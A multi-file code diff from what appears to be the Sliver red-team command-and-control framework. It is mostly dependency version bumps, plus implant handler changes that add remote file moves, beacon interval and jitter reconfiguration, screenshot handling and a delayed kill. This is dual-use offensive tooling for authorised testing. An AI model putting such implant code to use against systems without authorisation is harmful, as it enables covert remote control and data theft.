||||
jekyll-theme-tactile (= 0.1.1)
|
||||
jekyll-theme-time-machine (= 0.1.1)
|
||||
jekyll-theme-architect (= 0.2.0)
|
||||
jekyll-theme-cayman (= 0.2.0)
|
||||
jekyll-theme-dinky (= 0.2.0)
|
||||
jekyll-theme-hacker (= 0.2.0)
|
||||
jekyll-theme-leap-day (= 0.2.0)
|
||||
jekyll-theme-merlot (= 0.2.0)
|
||||
jekyll-theme-midnight (= 0.2.0)
|
||||
jekyll-theme-minimal (= 0.2.0)
|
||||
jekyll-theme-modernist (= 0.2.0)
|
||||
jekyll-theme-primer (= 0.6.0)
|
||||
jekyll-theme-slate (= 0.2.0)
|
||||
jekyll-theme-tactile (= 0.2.0)
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.1)
|
||||
@@ -87,19 +93,19 @@ GEM
|
||||
liquid (= 4.0.3)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.10.4, < 2.0)
|
||||
nokogiri (>= 1.12.5, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.2)
|
||||
github-pages-health-check (1.17.9)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.0)
|
||||
@@ -120,12 +126,12 @@ GEM
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.3.1)
|
||||
commonmarker (~> 0.14)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-commonmark-ghpages (0.1.6)
|
||||
commonmarker (~> 0.17.6)
|
||||
jekyll-commonmark (~> 1.2)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.2.0)
|
||||
commonmarker (~> 0.23.4)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
@@ -136,6 +142,8 @@ GEM
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-include-cache (0.2.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
@@ -155,50 +163,50 @@ GEM
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.7.1)
|
||||
jekyll-seo-tag (2.8.0)
|
||||
jekyll (>= 3.8, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.1.2)
|
||||
jekyll-theme-architect (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-cayman (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-dinky (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-hacker (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-leap-day (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-merlot (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.5.4)
|
||||
jekyll-theme-midnight (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.6.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-slate (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-tactile (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-time-machine (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
@@ -213,35 +221,33 @@ GEM
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.5.1)
|
||||
listen (3.7.1)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.6.1)
|
||||
mini_portile2 (2.8.0)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.14.4)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
nokogiri (1.13.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.21.0)
|
||||
octokit (4.22.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.5.2)
|
||||
rb-fsevent (0.11.0)
|
||||
racc (1.6.0)
|
||||
rb-fsevent (0.11.1)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rouge (3.26.0)
|
||||
ruby-enum (0.9.0)
|
||||
i18n
|
||||
ruby2_keywords (0.0.4)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
@@ -261,14 +267,14 @@ GEM
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.9)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.1)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (1.7.0)
|
||||
unf_ext (0.0.8)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
zeitwerk (2.4.2)
|
||||
zeitwerk (2.5.4)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.6"
|
||||
GARBLE_VER="1.17.5"
|
||||
GO_VER="1.18"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
|
||||
@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
@@ -14,7 +11,7 @@ require (
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
@@ -39,32 +36,32 @@ require (
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
|
||||
google.golang.org/grpc v1.37.0
|
||||
google.golang.org/protobuf v1.26.0
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -106,11 +103,11 @@ require (
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
|
||||
+19
-19
@@ -1,24 +1,24 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
google.golang.org/protobuf v1.23.0
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
google.golang.org/protobuf v1.23.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
)
|
||||
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
_, err = os.Stat(target)
|
||||
if err == nil {
|
||||
if (target == "/" || target == "C:\\") && !rmReq.Force {
|
||||
err = errors.New("Cowardly refusing to remove volume root without force")
|
||||
err = errors.New("cowardly refusing to remove volume root without force")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mvHandler(data []byte, resp RPCResponse) {
|
||||
mvReq := &sliverpb.MvReq{}
|
||||
err := proto.Unmarshal(data, mvReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
move := &sliverpb.Mv{}
|
||||
err = os.Rename(mvReq.Src, mvReq.Dst)
|
||||
if err != nil {
|
||||
move.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(move)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mkdirHandler(data []byte, resp RPCResponse) {
|
||||
mkdirReq := &sliverpb.MkdirReq{}
|
||||
err := proto.Unmarshal(data, mkdirReq)
|
||||
@@ -529,31 +551,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
|
||||
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
|
||||
err := proto.Unmarshal(data, reconnectIntervalReq)
|
||||
func reconfigureHandler(data []byte, resp RPCResponse) {
|
||||
reconfigReq := &sliverpb.ReconfigureReq{}
|
||||
err := proto.Unmarshal(data, reconfigReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
|
||||
// {{end}}
|
||||
|
||||
// Set the reconnect interval value
|
||||
transports.SetReconnectInterval(reconnectInterval)
|
||||
|
||||
recIntervalResp := &sliverpb.ReconnectInterval{}
|
||||
recIntervalResp.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
recIntervalResp.Response.Err = err.Error()
|
||||
if reconfigReq.ReconnectInterval != 0 {
|
||||
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(recIntervalResp)
|
||||
// {{if .Config.IsBeacon}}
|
||||
if reconfigReq.BeaconInterval != 0 {
|
||||
transports.SetInterval(reconfigReq.BeaconInterval)
|
||||
}
|
||||
if reconfigReq.BeaconJitter != 0 {
|
||||
transports.SetJitter(reconfigReq.BeaconJitter)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
reconfigResp := &sliverpb.Reconfigure{}
|
||||
data, err = proto.Marshal(reconfigResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -561,6 +582,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func gzipWrite(w io.Writer, data []byte) error {
|
||||
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer gw.Close()
|
||||
gw.Write(data)
|
||||
return err
|
||||
|
||||
@@ -37,6 +37,7 @@ var (
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
@@ -48,8 +49,8 @@ var (
|
||||
|
||||
pb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
pb.MsgReconfigureReq: reconfigureHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
pb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
|
||||
@@ -32,19 +32,20 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ var (
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
@@ -46,8 +47,8 @@ var (
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
sliverpb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
|
||||
@@ -82,17 +82,18 @@ var (
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
|
||||
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
|
||||
}
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.Screenshot{}
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
|
||||
sc.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(sc)
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -22,6 +22,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Let's exit!")
|
||||
// {{end}}
|
||||
os.Exit(0)
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
os.Exit(0)
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
+347
-96
@@ -1,7 +1,6 @@
|
||||
/* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
|
||||
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
|
||||
*/
|
||||
|
||||
package netstack
|
||||
@@ -14,7 +13,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -22,15 +23,17 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"inet.af/netstack/tcpip"
|
||||
"inet.af/netstack/tcpip/adapters/gonet"
|
||||
"inet.af/netstack/tcpip/buffer"
|
||||
"inet.af/netstack/tcpip/header"
|
||||
"inet.af/netstack/tcpip/network/ipv4"
|
||||
"inet.af/netstack/tcpip/network/ipv6"
|
||||
"inet.af/netstack/tcpip/stack"
|
||||
"inet.af/netstack/tcpip/transport/tcp"
|
||||
"inet.af/netstack/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/waiter"
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
@@ -39,11 +42,14 @@ type netTun struct {
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
mtu int
|
||||
dnsServers []net.IP
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
type endpoint netTun
|
||||
type Net netTun
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
